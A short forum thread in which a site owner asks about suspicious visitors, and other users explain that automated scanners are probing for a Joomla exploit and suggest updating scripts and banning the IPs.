vB site hackers

[bouncer]

I have 3 guests viewing at the moment. Their activity looks suspicious to say the least.

Any ideas what they are up to and how best to protect myself?

they are trying to run an exploit but by looking at your quote they are trying to run a Joomla exploit thus ending up with a 404 error or being redirected to whatever site you redirect 404 to. Nothing to worry about

it is very common thing and they are just scanning every websites for vuln.
I run websites and I get those in logs. I just ignore them.
just make sure you are running latest php scripts or secure your php scripts.

Yeah make sure every scipt on ur site is 100% up-to-date and no files are on ur server that contain passwords or anything. And ban the ip's like remember said.
